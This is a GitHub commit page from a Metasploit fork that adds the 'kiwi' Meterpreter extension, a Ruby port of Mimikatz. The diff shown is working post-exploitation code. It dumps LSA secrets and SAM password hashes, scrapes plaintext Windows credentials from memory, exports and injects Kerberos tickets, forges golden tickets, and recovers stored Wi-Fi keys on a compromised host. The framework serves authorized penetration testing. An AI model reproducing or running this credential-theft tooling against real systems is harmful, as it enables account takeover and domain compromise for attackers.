forked from rapid7/metasploit-framework
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land rapid7#3121, new kiwi extension, with compiled bins
See also rapid7/meterpreter#79
- Loading branch information
Showing
26 changed files
with
970 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,361 @@ | ||
# -*- coding: binary -*- | ||
|
||
require 'rex/post/meterpreter/extensions/kiwi/tlv' | ||
require 'rexml/document' | ||
|
||
module Rex | ||
module Post | ||
module Meterpreter | ||
module Extensions | ||
module Kiwi | ||
|
||
### | ||
# | ||
# Kiwi extension - grabs credentials from windows memory. | ||
# | ||
# Benjamin DELPY `gentilkiwi` | ||
# http://blog.gentilkiwi.com/mimikatz | ||
# | ||
# extension converted by OJ Reeves (TheColonial) | ||
### | ||
|
||
class Kiwi < Extension | ||
|
||
# | ||
# These are constants that identify the type of credential to dump | ||
# from the target machine. | ||
# | ||
PWD_ID_SEK_ALLPASS = 0 | ||
PWD_ID_SEK_WDIGEST = 1 | ||
PWD_ID_SEK_MSV = 2 | ||
PWD_ID_SEK_KERBEROS = 3 | ||
PWD_ID_SEK_TSPKG = 4 | ||
PWD_ID_SEK_LIVESSP = 5 | ||
PWD_ID_SEK_SSP = 6 | ||
PWD_ID_SEK_DPAPI = 7 | ||
|
||
# | ||
# List of names which represent the flags that are part of the | ||
# dumped kerberos tickets. The order of these is important. Each | ||
# of them was pulled from the Mimikatz 2.0 source base. | ||
# | ||
KERBEROS_FLAGS = [ | ||
"NAME CANONICALIZE", | ||
"<unknown>", | ||
"OK AS DELEGATE", | ||
"<unknown>", | ||
"HW AUTHENT", | ||
"PRE AUTHENT", | ||
"INITIAL", | ||
"RENEWABLE", | ||
"INVALID", | ||
"POSTDATED", | ||
"MAY POSTDATE", | ||
"PROXY", | ||
"PROXIABLE", | ||
"FORWARDED", | ||
"FORWARDABLE", | ||
"RESERVED" | ||
].map(&:freeze).freeze | ||
|
||
# | ||
# Typical extension initialization routine. | ||
# | ||
# @param client (see Extension#initialize) | ||
def initialize(client) | ||
super(client, 'kiwi') | ||
|
||
client.register_extension_aliases( | ||
[ | ||
{ | ||
'name' => 'kiwi', | ||
'ext' => self | ||
}, | ||
]) | ||
end | ||
|
||
# | ||
# Dump the LSA secrets from the target machine. | ||
# | ||
# @return [Hash<Symbol,Object>] | ||
def lsa_dump | ||
request = Packet.create_request('kiwi_lsa_dump_secrets') | ||
|
||
response = client.send_request(request) | ||
|
||
result = { | ||
:major => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ), | ||
:minor => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN), | ||
:compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME), | ||
:syskey => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY), | ||
:nt5key => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY), | ||
:nt6keys => [], | ||
:secrets => [], | ||
:samkeys => [] | ||
} | ||
|
||
response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k| | ||
result[:nt6keys] << { | ||
:id => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID), | ||
:value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE) | ||
} | ||
end | ||
|
||
response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s| | ||
result[:secrets] << { | ||
:name => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME), | ||
:service => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV), | ||
:ntlm => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM), | ||
:current => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR), | ||
:current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW), | ||
:old => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD), | ||
:old_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW) | ||
} | ||
end | ||
|
||
response.each(TLV_TYPE_KIWI_LSA_SAM) do |s| | ||
result[:samkeys] << { | ||
:rid => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID), | ||
:user => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER), | ||
:ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH), | ||
:lm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH) | ||
} | ||
end | ||
|
||
result | ||
end | ||
|
||
# | ||
# Convert a flag set to a list of string representations for the bit flags | ||
# that are set. | ||
# | ||
# @param flags [Fixnum] Integer bitmask of Kerberos token flags. | ||
# | ||
# @return [Array<String>] Names of all set flags in +flags+. See | ||
# {KERBEROS_FLAGS} | ||
def to_kerberos_flag_list(flags) | ||
flags = flags >> 16 | ||
results = [] | ||
|
||
KERBEROS_FLAGS.each_with_index do |item, idx| | ||
if (flags & (1 << idx)) != 0 | ||
results << item | ||
end | ||
end | ||
|
||
results | ||
end | ||
|
||
# | ||
# List available kerberos tickets. | ||
# | ||
# @param export [Bool] Set to +true+ to export the content of each ticket | ||
# | ||
# @return [Array<Hash>] | ||
# | ||
def kerberos_ticket_list(export) | ||
export ||= false | ||
request = Packet.create_request('kiwi_kerberos_ticket_list') | ||
request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export) | ||
response = client.send_request(request) | ||
|
||
results = [] | ||
|
||
response.each(TLV_TYPE_KIWI_KERB_TKT) do |t| | ||
results << { | ||
:enc_type => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE), | ||
:start => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START), | ||
:end => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END), | ||
:max_renew => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW), | ||
:server => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME), | ||
:server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM), | ||
:client => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME), | ||
:client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM), | ||
:flags => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS), | ||
:raw => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) | ||
} | ||
end | ||
|
||
results | ||
end | ||
|
||
# | ||
# Use the given ticket in the current session. | ||
# | ||
# @param ticket [String] Content of the Kerberos ticket to use. | ||
# | ||
# @return [void] | ||
# | ||
def kerberos_ticket_use(ticket) | ||
request = Packet.create_request('kiwi_kerberos_ticket_use') | ||
request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true) | ||
client.send_request(request) | ||
return true | ||
end | ||
|
||
# | ||
# Purge any Kerberos tickets that have been added to the current session. | ||
# | ||
# @return [void] | ||
# | ||
def kerberos_ticket_purge | ||
request = Packet.create_request('kiwi_kerberos_ticket_purge') | ||
client.send_request(request) | ||
return true | ||
end | ||
|
||
# | ||
# Create a new golden kerberos ticket on the target machine and return it. | ||
# | ||
# @param user [String] Name of the user to create the ticket for. | ||
# @param domain [String] Domain name. | ||
# @param sid [String] SID of the domain. | ||
# @param tgt [String] The kerberos ticket granting token. | ||
# @param id [Fixnum] ID of the user to grant the token for. | ||
# @param group_ids [Array<Fixnum>] IDs of the groups to assign to the user | ||
# | ||
# @return [String] | ||
# | ||
def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = []) | ||
request = Packet.create_request('kiwi_kerberos_golden_ticket_create') | ||
request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user) | ||
request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain) | ||
request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid) | ||
request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt) | ||
request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id) | ||
|
||
group_ids.each do |g| | ||
request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g) | ||
end | ||
|
||
response = client.send_request(request) | ||
return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) | ||
end | ||
|
||
# | ||
# List all the wifi interfaces and the profiles associated | ||
# with them. Also show the raw text passwords for each. | ||
# | ||
# @return [Array<Hash>] | ||
def wifi_list | ||
request = Packet.create_request('kiwi_wifi_profile_list') | ||
|
||
response = client.send_request(request) | ||
|
||
results = [] | ||
|
||
response.each(TLV_TYPE_KIWI_WIFI_INT) do |i| | ||
interface = { | ||
:guid => Rex::Text::to_guid(i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_GUID)), | ||
:desc => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_DESC), | ||
:state => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_STATE), | ||
:profiles => [] | ||
} | ||
|
||
i.each(TLV_TYPE_KIWI_WIFI_PROFILE) do |p| | ||
|
||
xml = p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_XML) | ||
doc = REXML::Document.new(xml) | ||
profile = doc.elements['WLANProfile'] | ||
|
||
interface[:profiles] << { | ||
:name => p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_NAME), | ||
:auth => profile.elements['MSM/security/authEncryption/authentication'].text, | ||
:key_type => profile.elements['MSM/security/sharedKey/keyType'].text, | ||
:shared_key => profile.elements['MSM/security/sharedKey/keyMaterial'].text | ||
} | ||
end | ||
|
||
results << interface | ||
end | ||
|
||
return results | ||
end | ||
|
||
# | ||
# Scrape passwords from the target machine. | ||
# | ||
# @param pwd_id [Fixnum] ID of the type credential to scrape. | ||
# | ||
# @return [Array<Hash>] | ||
def scrape_passwords(pwd_id) | ||
request = Packet.create_request('kiwi_scrape_passwords') | ||
request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id) | ||
response = client.send_request(request) | ||
|
||
results = [] | ||
response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r| | ||
results << { | ||
:username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME), | ||
:domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN), | ||
:password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD), | ||
:auth_hi => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI), | ||
:auth_lo => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO), | ||
:lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH), | ||
:ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH) | ||
} | ||
end | ||
|
||
return results | ||
end | ||
|
||
# | ||
# Scrape all passwords from the target machine. | ||
# | ||
# @return (see #scrape_passwords) | ||
def all_pass | ||
scrape_passwords(PWD_ID_SEK_ALLPASS) | ||
end | ||
|
||
# | ||
# Scrape wdigest credentials from the target machine. | ||
# | ||
# @return (see #scrape_passwords) | ||
def wdigest | ||
scrape_passwords(PWD_ID_SEK_WDIGEST) | ||
end | ||
|
||
# | ||
# Scrape msv credentials from the target machine. | ||
# | ||
# @return (see #scrape_passwords) | ||
def msv | ||
scrape_passwords(PWD_ID_SEK_MSV) | ||
end | ||
|
||
# | ||
# Scrape LiveSSP credentials from the target machine. | ||
# | ||
# @return (see #scrape_passwords) | ||
def livessp | ||
scrape_passwords(PWD_ID_SEK_LIVESSP) | ||
end | ||
|
||
# | ||
# Scrape SSP credentials from the target machine. | ||
# | ||
# @return (see #scrape_passwords) | ||
def ssp | ||
scrape_passwords(PWD_ID_SEK_SSP) | ||
end | ||
|
||
# | ||
# Scrape TSPKG credentials from the target machine. | ||
# | ||
# @return (see #scrape_passwords) | ||
def tspkg | ||
scrape_passwords(PWD_ID_SEK_TSPKG) | ||
end | ||
|
||
# | ||
# Scrape Kerberos credentials from the target machine. | ||
# | ||
# @return (see #scrape_passwords) | ||
def kerberos | ||
scrape_passwords(PWD_ID_SEK_KERBEROS) | ||
end | ||
|
||
end | ||
|
||
end; end; end; end; end | ||
|
Oops, something went wrong.